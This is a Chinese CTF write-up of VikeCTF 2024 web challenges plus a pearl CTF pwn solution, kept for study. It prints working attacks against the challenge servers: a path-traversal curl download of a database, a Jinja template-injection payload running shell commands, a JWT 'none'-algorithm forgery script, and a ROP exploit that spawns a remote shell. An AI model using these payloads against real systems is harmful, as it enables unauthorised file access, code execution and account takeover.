VikeCTF 2024

VikeCTF 2024 WP

由于环境原因很多靶场的过程图片没法复现截图。。。

web

Ponies

算是一个签到题,看到源码这里其实是一个快速跳转的程序,我们看到tag.src直接进行访问,可以看到源码里面,从里面分析拿到flag

function recursiveSpawn() {BrowserPonies.spawnRandom(incrementalPonies);if (!BrowserPonies.running()) {counter = counter + 1;document.getElementById("flag").innerHTML = "arriving shortly" + ".".repeat(counter % 4);setTimeout(recursiveSpawn, intervalMs);} else {setTimeout(() => {var tag = document.createElement("script");tag.src = "/gag.js";document.getElementsByTagName("head")[0].appendChild(tag);}, "7000");}
}
recursiveSpawn();

vikeMERCH

这道题目是go写的,并且看的出来考的是一个数据库泄露问题,但实际手法是疑似路径穿越。
整体是需要代码审计找到漏洞点,我一直没找到以为是search部分注入。

e.GET("/assets", func(c *gin.Context) {id := c.Query("id")path := filepath.Join("assets", filepath.Clean(id))c.File(path)
})

这里利用filepath.clean来进行路径穿越过滤,c.File来进行加载网页。
但这里filepath具有漏洞也可以进行穿越利用
看下例子

package mainimport ("fmt""path/filepath"
)func main() {// Returns: Path: ../db.sqlite3fmt.Printf("Path: %s\n", filepath.Clean("../db.sqlite3"))// Returns: Path: Path: /db.sqlite3fmt.Printf("Path: %s\n", filepath.Clean("/../db.sqlite3"))
}

在这里插入图片描述
go语言运行环境

可以看到第一种…/的写法可以造成文件读取

db := sqlx.MustOpen("sqlite3", "file:db.sqlite3")
这行代码告诉了我们db.sqlite3在当前相对路径下,所以我们就可以读取了
这里学到了新方法,用curl直接下载到本地,发现外国人很多都习惯于curl指令来获取,而不是国人大都直接访问来看。

curl 'http://35.94.129.106:3001/assets?id=../db.sqlite3' --path-as-is -o db.sqlite3

拿到文件可以看到里面包含了信息包括admin的密码,登陆即可

└─$ curl 'http://35.94.129.106:3001/admin' -d 'username=admin&password=a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d'
vikeCTF{whY_w0ulD_g0_d0_th15}

movieDB

这个题目有两解,说难也不难就是有点暗戳戳的🗡,看半天以为是sql注入拿信息,没想到是细节题
方法一:
dirsearch扫目录发现有一个static目录,再还有robots.txt,发现了static/flag.tx文件,访问发现显示是no
这里普及一个知识点,不加/是访问文件,加/是访问目录。

http://35.94.129.106:3003/static/ -> 404 未找到
http://35.94.129.106:3003/static -> 目录列表

这里就是要访问

http://35.94.129.106:3003/static/flag.txt/- >vikeCTF{y0u_tH0Gh7_iT_w4S_5QL_1Nj3c7i0n}

但我觉得这个有点莫名奇妙了
有人是这么解释的
在这里插入图片描述
在讨论了一番后发现其实是加了个waf,拿到源码

@app.route("/static/flag.txt")
def flag():return "no"

所以这应该是个非预期解,当然也像是出题人故意为之,因为完全可以避免。

方法二
常规方法应该是利用,当然这比赛的时候得靠自己猜测,因为是没有源码的

def home():try:search = request.args.get("search")if search is None:return render_template_string(index)

直接模板注入了

{{lipsum.__globals__.os.popen('cat static/flag.txt').read()}}

Jarls Weakened Trust

一个登入框
进去看到这么一句话

Someone with admin permissions will approve your application within the next millenium

如果英语可以你就知道他说的是拥有管理员权限的人将在下一个千年内批准您的申请,明显像是让我们来更改jwt来获取权限。

思路也是两种
方法一:
爆破,我用jwt从下午爆到晚上都没结果。。。我都忘记了
方法二:
更改签名从H256到none,这里推荐网站
https://token.dev/
但这里有个问题就是生成的签名因为是none,你只有一个点,你需要在尾部加一个.
在这里插入图片描述
不加是这样
在这里插入图片描述
加了后就可以看到了
在这里插入图片描述
这里原题是要把admin改成True就可以了
这里还有方便的python脚本

import requests
import string
import random
import jwt
import rerandom_string = lambda length: ''.join(random.choice(string.ascii_letters) for _ in range(length)) URL = 'http://35.94.129.106:3004/'resp = requests.post(URL+'join', data={'username': random_string(5), 'password': random_string(5)}, allow_redirects=False)
jwt_token = re.search(r'=(.*?);', resp.headers['Set-Cookie']).group(1)
print(jwt_token)jwt_token = jwt.decode(jwt_token, options={'verify_signature': False})
jwt_token['admin'] = True
print(jwt_token)jwt_token = jwt.encode(jwt_token, key='', algorithm=None)
print(jwt_token)resp = requests.get(URL, cookies=dict(AUTHORIZATION=jwt_token))
flag = re.findall('vikeCTF\{.*?\}', resp.text)
print(flag)

本文大多从
外国的大佬wp
主要以复现学习为主…本次文章仅用记录

[pearl pwn]

from pwn import *context.log_level = 'debug'
elf=ELF('./adventure')
# p = process('./adventure')
p = remote('dyn.ctf.pearlctf.in', 30014)
puts_got=elf.got['puts']
print(hex(puts_got))
bss = 0x404000hatchEgg = 0x401223
fflush_got = 0x404038pop_rdi = 0x000000000040121e
pop_rsi_r15 = 0x0000000000401871
ret = 0x000000000040101ap.sendlineafter(b'choice: ',b'2')
p.sendlineafter(b'2. No',b'1')pay = b'a'*0x20 + p64(bss+0x720)
pay += p64(pop_rdi) + p64(puts_got)
pay += p64(0x401242) # call puts
p.sendlineafter(b'name',pay)p.recvuntil(b'with ')
p.recvline()
libc = u64(p.recv().ljust(8,b'\x00')) -0x080ed0
print(hex(libc))
system = libc + 0x050d60pay = b'a'*0x11 + b'/bin/sh\x00' + b'a'*0x8 + p64(bss+0x720) # getchar()
pay += p64(pop_rdi) + p64(bss+0x710)
pay += p64(ret)
pay += p64(system)
p.sendline(pay) # bss writep.interactive()

在这里插入图片描述
总结:
之前一直觉得外国赛看wp很麻烦,虽然题目很好但看不了wp就觉得有点无效,所以就不怎么打,最近没什么国内比赛又想进阶一下,发现外国赛频率很高,很多比赛都质量不错,discard上的老外也很热情,顺便磨练一手英语交流,爽了。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738823.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

流畅的Python(十八)-使用asyncio包处理并发

一、核心要义 1. 对比一个简答的多线程程序和对应的asyncio版,说明多线程和异步任务之间的关系 2. 网络下载的异步版 3. 在异步编程中,与回调相比,协程显著提升性能的方式 二、代码示例 1、相关知识点 #!/usr/bin/env python # -*- coding: utf-8 -*- # Time …

算法50:动态规划专练(力扣514题:自由之路-----4种写法)

题目: 力扣514 : 自由之路 . - 力扣(LeetCode) 题目的详细描述,直接打开力扣看就是了,下面说一下我对题目的理解: 事例1: 输入: ring "godding", key "gd" 输出: 4. 1. ring的第…

RStudio更换R语言版本

今天下载R语言用于读取.xlsx文件的readxl包时,RStudio提示该包是使用R-4.3.3版本构建,而我现在使用的是R-4.3.2版本,所以需要升级一下R语言版本,这里先下载最新版本的R语言, 下载地址:The Comprehensive R…

Jenkins自动构建 CI/CD流水线学习笔记(从入门到入土,理论+示例)

文章目录 1、什么是Jenkins的流水线?2、流水线语法2.1、声明式流水线2.2、脚本化流水线 3、流水线示例3.1、使用声明式流水线的语法编写的 Jenkinsfile 文件3.2、Pipeline 各种语言示例3.2.1 Java:3.2.2 Node.js / JavaScript3.2.3 Python 4、一套完整的Devops Jen…

【ICCV21】Swin Transformer: Hierarchical Vision Transformer using Shifted Windows

文章目录 0. Abstract1. Introduction2. Related Work3. Method3.1 Overall Architecture3.2 Shifted Window based Self-Attention3.3 Architecture Variants 4. Experiments4.1 Image Classification on ImageNet-1K4.2 Object Detection on COCO4.3 Semantic Segmentation o…

基于JavaWeb开发的springboot网咖管理系统[附源码]

基于JavaWeb开发的springboot网咖管理系统[附源码] 🍅 作者主页 央顺技术团队 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 🍅 查看下方微信号获取联系方式 承接各种定制系统 &a…

【办公类-40-02】20240311 python模仿PPT相册功能批量插入照片,更改背景颜色 (家长会系列二)

作品展示——用Python插入PPT相册 背景需求: 马上就要家长会,我负责做会议前的照片滚动PPT,通常都是使用PPT的相册功能批量导入照片, 生成给一个新的PPT文件 更改背景颜色 设置4秒间隔,应用到全部 保存,改…

Hadoop伪分布式配置--没有DataNode或NameNode

一、原因分析 重复格式化NameNode 二、解决方法 1、输入格式化NameNode命令,找到data和name存放位置 ./bin/hdfs namenode -format 2、删除data或name(没有哪个删哪个) sudo rm -rf data 3、重新格式化NameNode 4、重新启动即可。

sheng的学习笔记- AI-类别不平衡问题

目录:sheng的学习笔记-AI目录-CSDN博客 什么是类别不平衡问题 类别不平衡(class-imbalance),也叫数据倾斜,数据不平衡,就是指分类任务中不同类别的训练样例数目差别很大的情况。 例如有998个反例&#xf…

vue3全局引入element-plus后怎么使用Message进行消息提示

全局引入 main.ts import element-plus/dist/index.css 在需要使用提示的组件中引入 import { ElMessage } from element-plus 使用举例

Verilog刷题笔记37

题目:3位二进制加法器 Now that you know how to build a full adder, make 3 instances of it to create a 3-bit binary ripple-carry adder. The adder adds two 3-bit numbers and a carry-in to produce a 3-bit sum and carry out. To encourage you to actua…

@Conditional注解详解

目录 一、Conditional注解作用 二、Conditional源码解析 2.1 Conditional源码 2.2 Condition源码 三、Conditional案例 3.1 Conditional作用在类上案例 3.1.1 配置文件 3.1.2 Condition实现类 3.1.3 Bean内容类 3.1.4 Config类 3.1.5 Controller类 3.1.6 测试结果 3…

Visual grounding-视觉定位任务介绍

🎀个人主页: https://zhangxiaoshu.blog.csdn.net 📢欢迎大家:关注🔍点赞👍评论📝收藏⭐️,如有错误敬请指正! 💕未来很长,值得我们全力奔赴更美好的生活&…

Spring Cloud Alibaba微服务从入门到进阶(一)

Springboot三板斧 1、加依赖 2、写注解 3、写配置 Spring Boot Actuator Spring Boot Actuator 是 Spring Boot 提供的一系列用于监控和管理应用程序的工具和服务。 SpringBoot导航端点 其中localhost:8080/actuator/health是健康检查端点,加上以下配置&#xf…

基于element-plus的Dialog选择控件

翻看之前工程师写的vue2的代码,很多都是复制、粘贴,也真是搞不懂,明明可以写一个控件,不就可以重复使用。很多前端总喜欢element搞一下,ant-design也搞一下,有啥意义,控件也不是自己写的&#x…

Python递归函数你用对了吗?

1.递归函数 递归函数:函数自己调用自己 2.需求 使用函数的方式,计算数字n的阶乘 # 5! """ 5! 1 * 2 * 3 * 4 * 5 4! 1 * 2 * 3 * 4 3! 1 * 2 * 3 2! 1 * 2 1! 1综上可以总结出:n! n * (n - 1) "&qu…

什么是防静电晶圆隔离膜?一分钟让你了解抗静电晶圆隔离纸

防静电晶圆隔离膜,也被称为防静电蓄积纸、硅片纸、半导体晶圆盒内缓冲垫片等多种名称,是半导体制造和运输过程中的一种重要辅助材料。 该隔离膜具备多种特性,如防静电、无尘、不掉屑、强韧耐用等,这些特性使其在半导体制造和运输中…

网络安全之从原理看懂XSS

01、XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时&#xff0c…

Word转PDF保持图片原有清晰度

目录 1、需要的软件 2、配置Acrobat PDFMaker 3、配置Acrobat Distiller 4、更改Acrobat PDFMaker中的首选项 5、将word转换成pdf 1、需要的软件 利用Adobe Acrobat DC工具。 打开word,选择Acrobat的插件,选择首选项。 如果没有出现Acrobat插件也…

java并发编程知识点汇总

文章目录 1. Java8新特性1.1 Lambda表达式1.2 函数式接口1.3 Stream流式计算,应用了上述函数式接口能力1.4 接口增强 2. 常用原子类3. 多线程与高并发-juc3.1 谈一谈对volatile的理解3.2 谈一谈对JMM的理解3.3 谈一谈对CAS及底层原理的理解3.4 谈一谈对ABA问题及原子…